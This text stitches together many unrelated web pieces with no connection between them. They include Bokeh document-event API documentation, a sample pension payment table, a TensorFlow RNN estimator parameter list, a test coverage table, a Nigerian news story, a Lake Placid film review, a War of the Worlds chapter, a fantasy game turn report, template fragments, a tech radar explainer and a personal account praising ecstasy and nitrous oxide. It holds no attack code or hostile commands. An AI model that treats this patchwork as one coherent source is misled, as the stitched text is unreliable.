bokeh.document.events¶
Provide events that represent various changes to Bokeh Documents.
These events are used internally to signal changes to Documents. For information about user-facing (e.g. UI or tool) events, see the reference for bokeh.events.
-
class
ColumnDataChangedEvent
(document, column_source, cols=None, setter=None, callback_invoker=None)[source]¶ A concrete event representing efficiently replacing all existing data for a
ColumnDataSource
-
__init__
(document, column_source, cols=None, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- column_source (ColumnDataSource) –
- cols (list[str]) – optional explicit list of column names to update. If None, all columns will be updated (default: None)
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
dispatch
(receiver)[source]¶ Dispatch handling of this event to a receiver.
This method will invoke
receiver._column_data_changed
if it exists.
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'ColumnDataChanged' 'column_source' : <reference to a CDS> 'new' : <new data to steam to column_source> 'cols' : <specific columns to update> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
ColumnsPatchedEvent
(document, column_source, patches, setter=None, callback_invoker=None)[source]¶ A concrete event representing efficiently applying data patches to a
ColumnDataSource
-
__init__
(document, column_source, patches, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- column_source (ColumnDataSource) – The data source to apply patches to.
- patches (list) –
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
dispatch
(receiver)[source]¶ Dispatch handling of this event to a receiver.
This method will invoke
receiver._columns_patched
if it exists.
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'ColumnsPatched' 'column_source' : <reference to a CDS> 'patches' : <patches to apply to column_source> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
ColumnsStreamedEvent
(document, column_source, data, rollover, setter=None, callback_invoker=None)[source]¶ A concrete event representing efficiently streaming new data to a
ColumnDataSource
-
__init__
(document, column_source, data, rollover, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- column_source (ColumnDataSource) – The data source to stream new data to.
- data (dict or DataFrame) –
New data to stream.
If a DataFrame, will be stored as
{c: df[c] for c in df.columns}
- rollover (int) – A rollover limit. If the data source columns exceed this limit, earlier values will be discarded to maintain the column length under the limit.
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
dispatch
(receiver)[source]¶ Dispatch handling of this event to a receiver.
This method will invoke
receiver._columns_streamed
if it exists.
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'ColumnsStreamed' 'column_source' : <reference to a CDS> 'data' : <new data to steam to column_source> 'rollover' : <rollover limit> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
DocumentChangedEvent
(document, setter=None, callback_invoker=None)[source]¶ Base class for all internal events representing a change to a Bokeh Document.
-
__init__
(document, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
In the context of a Bokeh server application, incoming updates to properties will be annotated with the session that is doing the updating. This value is propagated through any subsequent change notifications that the update triggers. The session can compare the event setter to itself, and suppress any updates that originate from itself.
- callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
-
class
DocumentPatchedEvent
(document, setter=None, callback_invoker=None)[source]¶ A Base class for events that represent updating Bokeh Models and their properties.
-
dispatch
(receiver)[source]¶ Dispatch handling of this event to a receiver.
This method will invoke
receiver._document_patched
if it exists.
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
Sub-classes must implement this method.
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
ModelChangedEvent
(document, model, attr, old, new, serializable_new, hint=None, setter=None, callback_invoker=None)[source]¶ A concrete event representing updating an attribute and value of a specific Bokeh Model.
This is the “standard” way of updating most Bokeh model attributes. For special casing situations that can optimized (e.g. streaming, etc.), a
hint
may be supplied that overrides normal mechanisms.-
__init__
(document, model, attr, old, new, serializable_new, hint=None, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- model (Model) – A Model to update
- attr (str) – The name of the attribute to update on the model.
- old (object) – The old value of the attribute
- new (object) – The new value of the attribute
- serializable_new (object) – A serialized (JSON) version of the new value. It may be
None
if a hint is supplied. - hint (DocumentPatchedEvent, optional) – When appropriate, a secondary event may be supplied that modifies the normal update process. For example, in order to stream or patch data more efficiently than the standard update mechanism.
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
dispatch
(receiver)[source]¶ Dispatch handling of this event to a receiver.
This method will invoke
receiver._document_model_dhanged
if it exists.
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
RootAddedEvent
(document, model, setter=None, callback_invoker=None)[source]¶ A concrete event representing a change to add a new Model to a Document’s collection of “root” models.
-
__init__
(document, model, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- model (Model) – The Bokeh Model to add as a Document root.
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'RootAdded' 'title' : <reference to a Model> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
RootRemovedEvent
(document, model, setter=None, callback_invoker=None)[source]¶ A concrete event representing a change to remove an existing Model from a Document’s collection of “root” models.
-
__init__
(document, model, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- model (Model) – The Bokeh Model to remove as a Document root.
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'RootRemoved' 'title' : <reference to a Model> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-
-
class
SessionCallbackAdded
(document, callback)[source]¶ A concrete event representing a change to add a new callback (e.g. periodic, timeout, or “next tick”) to a Document.
-
__init__
(document, callback)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- callback (SessionCallback) – The callback to add
-
-
class
SessionCallbackRemoved
(document, callback)[source]¶ A concrete event representing a change to remove an existing callback (e.g. periodic, timeout, or “next tick”) from a Document.
-
__init__
(document, callback)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- callback (SessionCallback) – The callback to remove
-
-
class
TitleChangedEvent
(document, title, setter=None, callback_invoker=None)[source]¶ A concrete event representing a change to the title of a Bokeh Document.
-
__init__
(document, title, setter=None, callback_invoker=None)[source]¶ Parameters: - document (Document) – A Bokeh document that is to be updated.
- title (str) – The new title to set on the Document
- setter (ClientSession or ServerSession or None, optional) –
This is used to prevent “boomerang” updates to Bokeh apps. (default: None)
See
DocumentChangedEvent
for more details. - callback_invoker (callable, optional) – A callable that will invoke any Model callbacks that should be executed in response to the change that triggered this event. (default: None)
-
generate
(references, buffers)[source]¶ Create a JSON representation of this event suitable for sending to clients.
{ 'kind' : 'TitleChanged' 'title' : <new title to set> }
Parameters: - references (dict[str, Model]) –
If the event requires references to certain models in order to function, they may be collected here.
This is an “out” parameter. The values it contains will be modified in-place.
- buffers (set) –
If the event needs to supply any additional Bokeh protocol buffers, they may be added to this set.
This is an “out” parameter. The values it contains will be modified in-place.
- references (dict[str, Model]) –
-


| S.No |
Payment File No. |
Locked On |
Pension For |
No. of Beneficiaries |
Pension Amount |
Arrear |
Total Amount (In Crores) |
Sent to PFMS |
Status |
| 1. |
45xx24xx |
25/07/2017 |
June 2017 |
4300000 |
200 |
100 |
300 |
Yes |
Paid |
| 2. |
7865xx5x |
14/08/2017 |
July 2017 |
3000000 |
650 |
325 |
975 |
Yes |
Not Paid |
| 3. |
45xx3x4z |
20/09/2017 |
Aug 2017 |
2400000 |
45.7 |
20.2 |
65.9 |
No |
Paid |
| 4. |
675xx4x5 |
04/10/2017 |
Sep 2017 |
3500000 |
78 |
34 |
112 |
Yes |
Paid |


Dynamic RNN Estimator
dynamic_rnn(problem_type, prediction_type, sequence_feature_columns, context_feature_columns = NULL, num_classes = NULL, num_units = NULL, cell_type = "basic_rnn", optimizer = "SGD", learning_rate = 0.1, predict_probabilities = F, momentum = NULL, gradient_clipping_norm = 5, dropout_keep_probabilities = NULL, feature_engineering_fn = NULL, model_dir = NULL, config = NULL)
| problem_type | whether the |
|---|---|
| prediction_type | whether the |
| sequence_feature_columns | An iterable containing all the feature
columns describing sequence features. All items in the iterable should be
instances of classes derived from |
| context_feature_columns | An iterable containing all the feature columns
describing context features, i.e., features that apply across all time
steps. All items in the set should be instances of classes derived from
|
| num_classes | the number of classes for a classification problem. Only
used when |
| num_units | A list of integers indicating the number of units in the
|
| cell_type | A subclass of |
| optimizer | Either the name of the optimizer to be used when training
the model, or a |
| learning_rate | Learning rate. This argument has no effect if
|
| predict_probabilities | A boolean indicating whether to predict
probabilities for all classes. Used only if |
| momentum | Momentum value. Only used if |
| gradient_clipping_norm | Parameter used for gradient clipping. If
|
| dropout_keep_probabilities | a list of dropout probabilities or |
| feature_engineering_fn | Takes features and labels which are the output
of |
| model_dir | Directory to save the model parameters, graph, and so on. This can also be used to load checkpoints from the directory into a estimator to continue training a previously saved model. |
| config | A run configuration created by |


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| File | Statements | Branches | Functions | Lines | |||||
|---|---|---|---|---|---|---|---|---|---|
| src | 78.93% | 693/878 | 62.99% | 194/308 | 81.7% | 192/235 | 78.58% | 653/831 | |
| src/auth | 56.22% | 357/635 | 45.76% | 135/295 | 39.36% | 37/94 | 55.92% | 345/617 | |
| src/encryption | 90.5% | 381/421 | 71.09% | 91/128 | 100% | 62/62 | 90.58% | 375/414 | |
| src/operations | 93.32% | 699/749 | 70.59% | 168/238 | 97.67% | 168/172 | 93.19% | 684/734 | |
| src/profiles | 80.53% | 153/190 | 60.67% | 54/89 | 91.67% | 22/24 | 80.53% | 153/190 | |
| src/profiles/profileSchemas | 77.55% | 190/245 | 54.36% | 81/149 | 80.95% | 34/42 | 77.08% | 185/240 | |
| src/profiles/services | 89.29% | 175/196 | 69.33% | 52/75 | 77.78% | 28/36 | 88.89% | 168/189 | |
| src/storage | 80.22% | 357/445 | 73.06% | 198/271 | 91.67% | 33/36 | 80% | 352/440 |


Inspiring story of man who was called to bar after wrongful 12 years imprisonment
- A Nigerian man who was recently called to bar, is currently being celebrated on social media for his determination
- According to a Facebook user who shared the story, he was incarcerated for 12 years for a murder he didn't commit
- The man identified as Akpoghene Edeno wrote WAEC while in prison and when he was released, pursued a course in law
A Nigerian man identified as Akpoghene Edeno has proven to many people that with faith and determination coupled with hard work, nothing is impossible to achieve. He was recently called to bar but his life story has left many people in awe.
According to Facebook user, Charles Mallam-Obi, Edeno was imprisoned for 12 years for a murder he did not commit. This, however, did not stop him from pursuing his dreams as he not only wrote WAEC in prison, he proceeded to study law after he was released.
The post reads: "Akpoghene Edeno is my childhood friend who spent twelve years in prison for a murder he didn't commit. He wrote WAEC while still in prison. He came out in 2012 and immediately proceeded to the University of Benin to study law. Today, he has been called to the Nigeria bar.
 He could have been bitter at the society for the injustice he suffered for an offence he didn't commit. He could have been depressed. But he chose to show up and face the challenges of life. Congratulations, my brother. The sky isn't even your starting floor!"
PAY ATTENTION: Do you have news to share? Contact Legit.ng instantly
See photos below:
In a similar story, the city of Simi Valley in California recently reached a $21-million (N7.6 billion) settlement with a man who spent more than 38 years wrongfully arrested and jailed for the brutal 1978 murders of a woman and her 4-year-old son.
The man identified as Craig Coley who is now 71, spent 38 years in prison for a crime he did not commit and was later pardoned by the then governor of California, Jerry Brown, who stated that the DNA evidence and a re-investigation of the Simi Valley murders proved his innocence.
Ex-prisoner turns advocate for release of former inmates | Legit TV


Lake Placid A film review by Marty Mapes Copyright 1999 Marty Mapes
** (out of 4) Lake Placid is a bad movie. But for a bad movie, it's pretty fun. It has a good cast and it's "over the top." What else could you call a movie featuring a wild animal death match between a crocodile and a bear? (Okay, maybe Discovery Channel: The Movie.)
Lake Placid comes from a long line of ferocious animal movies with titles like Tarantula! and Piranha! Its ancestors never rose very high on the movie food chain, and Lake Placid doesn't rise any higher. It is unmistakably a b-movie.
The ferocious animal in this movie is a gigantic crocodile and he's now in Maine. Nobody knows how he got here, but there you have it. The first sign of his presence is the disappearance of a few people from Black Lake -- that plus the exaggerated, dark, symphonic soundtrack telling you when to jump. Now, some people are starting to investigate.
Four people ultimately converge on the lake to investigate the mystery: the local sheriff (Brendan Gleeson, fresh off his tour de force in The General), a rep from Fish and Wildlife (Bill Pullman), a New York museum paleontologist (Bridget Fonda), and a comically-eccentric, independently wealthy, only-exists-in-the-movies, mythology professor (yes, mythology) played by one of my favorite actors, Oliver Platt.
Leaving the monster aside, Pullman and Fonda were supposed to be the love interest. Kelly (Fonda) had been dumped by her boss/boyfriend who sent her to Black Lake ostensibly to look at the tooth from a recent autopsy -- but really so that the boss can be alone with his new girlfriend. Jack (Pullman) is a lonely man, just waiting for the right girl to come along. The plot suggests that they were supposed to have some chemistry, but there was never any spark between them. They were one of the flattest screen "couples" in a long time.
On the other hand, there was some great chemistry between the professor (Platt) and the sheriff (Gleeson). No, it was not sexual chemistry, it's just that they had the most interesting relationship in the movie. The sheriff was starting to get fed up with all the visitors to the lake. Inevitably, they would end up in his boat, and inevitably they would make all kinds of smart remarks to him.
The professor is just such a person, but three times as annoying.
Platt and Gleeson saw an opportunity to make their badly written characters into something more interesting. They fed off each other and escalated their little tiffs into show-stealing performances. Their arguments were the best thing in the movie. I am sure their electric relationship was completely unplanned and entirely to the credit of these two very good actors. I wouldn't say they saved the movie -- it was still pretty bad -- but they certainly made it more enjoyable.
In contrast, the comic relief was supposed to come from Betty White playing Dolores. Dolores lives at the lake and takes care of the croc. It is supposed to be funny that she cusses, swears, and feeds the beast meat. Actually, it was kind of funny that she would take care of the croc, but to have sweet old White swearing like a sailor just revealed how uninspired and desperate David E. Kelley (the screenwriter) and Miner were.
As for the movie's main character (the crocodile), he was almost entirely rendered on a computer. For the most part, he was convincing and was often worth marveling at. The image of a huge crocodile advancing on a truckload of people was pretty tense, and surprisingly believable. And when the thing moved, he had the look and feel of a real reptile, not some computer-generated "reptile" formula.
So even though I know how bad this movie really is, I have to say I had some fun. Still, I cannot in good conscience recommend it. It really is a b-movie. The plot is pure formula, the lead characters were flat, and the whole thing just crumbles under scrutiny.
Check out more current movie reviews at http://www.moviehabit.com
-- Marty Mapes<EMAIL_ADDRESS>Movie Habit http://www.moviehabit.com
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The War of the Worlds
by H.G. Wells
Book One—The Coming of the Martians, Chapter 3: On Horsell Common
Additional Information
- Year Published: 1898
- Language: English
- Country of Origin: England
- Source: Wells, H. G. (1898). The War of the Worlds. London, England: Chapman and Hall.
-
Readability:
- Flesch–Kincaid Level: 9.0
- Word Count: 1,041
- Genre: Science Fiction
- Keywords: 19th century literature, aliens, h.g. wells, survival, war
- ✎ Cite This
Downloads
I found a little crowd of perhaps twenty people surrounding the huge hole in which the cylinder lay. I have already described the appearance of that colossal bulk, embedded in the ground. The turf and gravel about it seemed charred as if by a sudden explosion. No doubt its impact had caused a flash of fire. Henderson and Ogilvy were not there. I think they perceived that nothing was to be done for the present, and had gone away to breakfast at Henderson's house.
There were four or five boys sitting on the edge of the Pit, with their feet dangling, and amusing themselves—until I stopped them—by throwing stones at the giant mass. After I had spoken to them about it, they began playing at "touch" in and out of the group of bystanders.
Among these were a couple of cyclists, a jobbing gardener I employed sometimes, a girl carrying a baby, Gregg the butcher and his little boy, and two or three loafers and golf caddies who were accustomed to hang about the railway station. There was very little talking. Few of the common people in England had anything but the vaguest astronomical ideas in those days. Most of them were staring quietly at the big table like end of the cylinder, which was still as Ogilvy and Henderson had left it. I fancy the popular expectation of a heap of charred corpses was disappointed at this inanimate bulk. Some went away while I was there, and other people came. I clambered into the pit and fancied I heard a faint movement under my feet. The top had certainly ceased to rotate.
It was only when I got thus close to it that the strangeness of this object was at all evident to me. At the first glance it was really no more exciting than an overturned carriage or a tree blown across the road. Not so much so, indeed. It looked like a rusty gas float. It required a certain amount of scientific education to perceive that the grey scale of the Thing was no common oxide, that the yellowish–white metal that gleamed in the crack between the lid and the cylinder had an unfamiliar hue. "Extra–terrestrial" had no meaning for most of the onlookers.
At that time it was quite clear in my own mind that the Thing had come from the planet Mars, but I judged it improbable that it contained any living creature. I thought the unscrewing might be automatic. In spite of Ogilvy, I still believed that there were men in Mars. My mind ran fancifully on the possibilities of its containing manuscript, on the difficulties in translation that might arise, whether we should find coins and models in it, and so forth. Yet it was a little too large for assurance on this idea. I felt an impatience to see it opened. About eleven, as nothing seemed happening, I walked back, full of such thought, to my home in Maybury. But I found it difficult to get to work upon my abstract investigations.
In the afternoon the appearance of the common had altered very much. The early editions of the evening papers had startled London with enormous headlines:
"A MESSAGE RECEIVED FROM MARS."
"REMARKABLE STORY FROM WOKING,"
and so forth. In addition, Ogilvy's wire to the Astronomical Exchange had roused every observatory in the three kingdoms.
There were half a dozen flies or more from the Woking station standing in the road by the sand pits, a basket–chaise from Chobham, and a rather lordly carriage. Besides that, there was quite a heap of bicycles. In addition, a large number of people must have walked, in spite of the heat of the day, from Woking and Chertsey, so that there was altogether quite a considerable crowd—one or two gaily dressed ladies among the others.
It was glaringly hot, not a cloud in the sky nor a breath of wind, and the only shadow was that of the few scattered pine trees. The burning heather had been extinguished, but the level ground towards Ottershaw was blackened as far as one could see, and still giving off vertical streamers of smoke. An enterprising sweet–stuff dealer in the Chobham Road had sent up his son with a barrow–load of green apples and ginger beer.
Going to the edge of the pit, I found it occupied by a group of about half a dozen men—Henderson, Ogilvy, and a tall, fair–haired man that I afterwards learned was Stent, the Astronomer Royal, with several workmen wielding spades and pickaxes. Stent was giving directions in a clear, high–pitched voice. He was standing on the cylinder, which was now evidently much cooler; his face was crimson and streaming with perspiration, and something seemed to have irritated him.
A large portion of the cylinder had been uncovered, though its lower end was still embedded. As soon as Ogilvy saw me among the staring crowd on the edge of the pit he called to me to come down, and asked me if I would mind going over to see Lord Hilton, the lord of the manor.
The growing crowd, he said, was becoming a serious impediment to their excavations, especially the boys. They wanted a light railing put up, and help to keep the people back. He told me that a faint stirring was occasionally still audible within the case, but that the workmen had failed to unscrew the top, as it afforded no grip to them. The case appeared to be enormously thick, and it was possible that the faint sounds we heard represented a noisy tumult in the interior.
I was very glad to do as he asked, and so become one of the privileged spectators within the contemplated enclosure. I failed to find Lord Hilton at his house, but I was told he was expected from London by the six o'clock train from Waterloo; and as it was then about a quarter past five, I went home, had some tea, and walked up to the station to waylay him.


Each year, we ask some of the smartest people in journalism and digital media what they think is coming in the next 12 months. Here’s what they had to say.
“If we want real-world solutions, we need real-world data, however. We need to learn how people actually consume fake news and fact checks when they encounter them in their everyday life, or when they look them up to prove (or disprove) an argument.”
Read More“It’s the best of both worlds: Outlets can choose what type of content they want to share — video, text, image — and who they want to share it with. And users feel like they’re getting exactly the kind of info they want, in the place where they’re making most of their daily interactions.”
Read More“And when we forego a panel or a keynote or a book chapter or media appearance because it is not paid, we will reinvest that time into our own work, reclaiming not only our time but our worth.”
Read More“If this year was about transparency of the journalistic process and how we do our job, next year it will be about transparency of values and why we do our job.”
Read More


Welcome to The GEP User’s Guide!¶
The Global Electrification Platform (GEP)¶
The 2030 Agenda for Sustainable Development has set the goal of universal access to electricity by 2030 (SDG7). The challenge involves bringing electricity to populations with various socio-economic backgrounds and needs. Despite remarkable progress in the past years, energy access gaps still exist.
Coping with dilemmas of this nature requires thorough analysis of the social, technical and economic characteristics of each target location. This, in turn, requires access to reliable data and information e.g., location of population settlements, electricity demand levels, resource availability, poverty rate and economic activity, distance from functional infrastructure etc. Geographic Information Systems (GIS) and remote sensing techniques are becoming openly available and can now provide a range of location-specific information that has not been previously accessible.
Under this framework, The World Bank in collaboration with KTH dES, Development Seed, Derilinx, World Resources Institute, Cambridge university, Google and ABB have developed the Global Electrification Platform (GEP). The following sections provide a brief overview.


Open Pampas [au24], plain, in Mandoria, peasants: 101
Last updated Turn #138
Open Pampas [au24], plain, in Mandoria, peasants: 101
------------------------------------------------------------------------
1: General Kraken [k3k], Imperial Empire, duke, priest of the Church of
1: Halon [157], with 45 nazgul, went south, accompanied by:
1: Phantom III [d6x], Imperial Empire, priest of the Church of
1: Dol [153], with eight nazgul
1: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
1: with five angels
1: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
1: with five angels, 54 hvy. xbowmen, 13 nazgul
1: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
1: Dol [153], with ten workers, 50 hvy. xbowmen, nine nazgul
1: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
1: with five angels, 50 hvy. xbowmen
1: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
1: Thorg [j8u], Imperial Empire, with one warmount
1: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
1: of Halon [157], with ten angels, 52 hvy. xbowmen
1: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
1: with eight nazgul
1: Firefly [f3f], Imperial Empire, priest of the Church of
1: Halon [157], with 50 hvy. xbowmen
1: Sunwalker [a8x], Imperial Empire, duke, Bishop of the Church of
1: Halon [157], with five angels, 53 nazgul
1: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
1: with 52 hvy. xbowmen, five nazgul
1: Alexei Galantor [j7l], Imperial Empire, duke, priest of the Church
1: of Halon [157], with 85 nazgul
1: Sir Peter [u9p], Imperial Empire, with 37 peasants, ten hvy.
1: xbowmen, 13 workers
1: George [p7f], Imperial Empire, duke, priest of the Church of
1: Dol [153], with five nazgul
1: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
1: with five peasants, five skirmishers, 50 nazgul
1: Johny [w2d], Imperial Empire, priest of the Church of Halon [157],
1: with 41 nazgul
1: Stefano [t8e], Imperial Empire, Bishop of the Church of
1: Halon [157], with five angels, 50 nazgul
1: Sir Charles [j5r], Imperial Empire, priest of the Church of
1: Halon [157], with 49 nazgul
1: Majikthise [n4g], Mandor Confederacy, prisoner
1: Melnor [j7c], Mandor Confederacy, prisoner
1: Colonel [x6o], refugee, arrived from the east.
2: Stack of giants [cx0u], giants, number: 7, arrived from the south.
3: Colonel [x6o], refugee, went east.
3: Pack of wolves [fu8o], wolves, number: 8, arrived from the east.
4: Stack of giants [cx0u], giants, number: 7, went south.
5: Pack of wolves [fu8o], wolves, number: 8, went west.
7: Pack of wolves [il9s], wolves, number: 7, went west.
15: Pack of wolves [il9s], wolves, number: 7, arrived from the west.
15: Osmosis [o2n], Imperial Empire, priest of the Church of Halon [157],
15: with 44 nazgul, 13 lt. xbowmen, arrived from the north,
15: accompanied by:
15: Sir Andrew [v9a], Imperial Empire, priest of the Church of
15: Halon [157], with 47 nazgul
15: Klael [d5o], Mandor Confederacy, mage, prisoner
15: Demon lord [gt0t], demon lord, refugee, prisoner
15: Lactus [u6q], Mandor Confederacy, prisoner
15: Mongoose [e6z], Mandor Confederacy, knight, prisoner
15: Lady A [x2x], Mandor Confederacy, knight, prisoner
16: Osmosis [o2n], Imperial Empire, priest of the Church of Halon [157],
16: with 44 nazgul, 13 lt. xbowmen, went east, accompanied by:
16: Sir Andrew [v9a], Imperial Empire, priest of the Church of
16: Halon [157], with 47 nazgul
16: Klael [d5o], Mandor Confederacy, mage, prisoner
16: Demon lord [gt0t], demon lord, refugee, prisoner
16: Lactus [u6q], Mandor Confederacy, prisoner
16: Mongoose [e6z], Mandor Confederacy, knight, prisoner
16: Lady A [x2x], Mandor Confederacy, knight, prisoner
17: Pack of wolves [il9s], wolves, number: 7, went east.
Routes leaving Open Pampas:
North, mountain, to Mandor Mountains [at24], 10 days
East, mountain, to Mandor Mountains [au25], 10 days
South, plain, to Open Pampas [av24], 7 days
West, plain, to Open Pampas [au23], 7 days
Inner locations:
Poppy field [ae2s], poppy field, 1 day
Seen here:
Stack of giants [fi2j], giants, number: 9
Stack of centaur [bo9m], centaurs, number: 36
Hidden Inner location:
Sacred grove [ae2t], sacred grove, hidden, 1 day, owner:


{%extends "base.html"%} {%block mainmenu%} Issues Repositories Search {%endblock%} {%block title1%}Block a user -{%endblock%} {%block head%}{{form.media}}{%endblock%} {%block body%}


What is the Tech Radar?
The Xgeeks Tech Radar is a list of technologies, complemented by an assessment result, called ring assignment. We use four rings with the following semantics:
- ADOPT — Technologies we have high confidence in to serve our purpose, also in large scale. Technologies with a usage culture in our Xgeeks production environment, low risk and recommended to be widely used.
- TRIAL — Technologies that we have seen work with success in project work to solve a real problem; first serious usage experience that confirm benefits and can uncover limitations. TRIAL technologies are slightly more risky; some engineers in our organization walked this path and will share knowledge and experiences.
- ASSESS — Technologies that are promising and have clear potential value-add for us; technologies worth to invest some research and prototyping efforts in to see if it has impact. ASSESS technologies have higher risks; they are often brand new and highly unproven in our organisation. You will find some engineers that have knowledge in the technology and promote it, you may even find teams that have started a prototyping effort.
- HOLD — Technologies not recommended to be used for new projects. Technologies that we think are not (yet) worth to (further) invest in. HOLD technologies should not be used for new projects, but usually can be continued for existing projects.
|
What is the purpose?
The Tech Radar is a tool to inspire and support engineering teams at Xgeeks to pick the best technologies for new projects; it provides a platform to share knowledge and experience in technologies, to reflect on technology decisions and continuously evolve our technology landscape. Based on the pioneering work of ThoughtWorks and at the Zalando Tech Radar, our Tech Radar sets out the changes in technologies that are interesting in software development — changes that we think our engineering teams should pay attention to and consider using in their projects.
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{% endif %}
Movie Recomender
Do you like music in movie ?
Yes
No
If you have given a choice to go on vaction with whom you will go ?:
Family
Girl Friend / Boy Friend
Friends
Do you believe in perfect world ?:
Yes
No
Do you have any specific gener choice ?:
Drama
Comedy
War
Adventure
History


I've always been really prudish about 'drugs.' I liked my body and mind the way they are, wouldn't take medication for headaches, nothing during childbirth etc, and was always freaked out by the idea peddled in the media that take anything and you're on the path to becoming a slavering addict. All that changed recently when I met my boyfriend, I felt instantly that I'd go anywhere and do anything with him. Well in a short space of time I was introduced to ecstacy, marijuana, and acid, and with all of them, I had issues come up soon after taking them, and usually right through the trip.
There was such a lot going on in my head, I was in the process of splitting up with mu husband, I'd fallen in love with this man who lived 1000 miles away, I have 4 kids and 3 exes and I wanted to move to be with my new boyfriend, and was getting a lot of opposition to that idea from all sides. I wasn't very calm or secure in my inner world. Taking eccy in particular, with nitrous oxide as well, was a total REVELATION to me, it felt so GOOD!~! Wow, drugs are good! This is why people like them! I was so amazed, it opened my horizons right out.
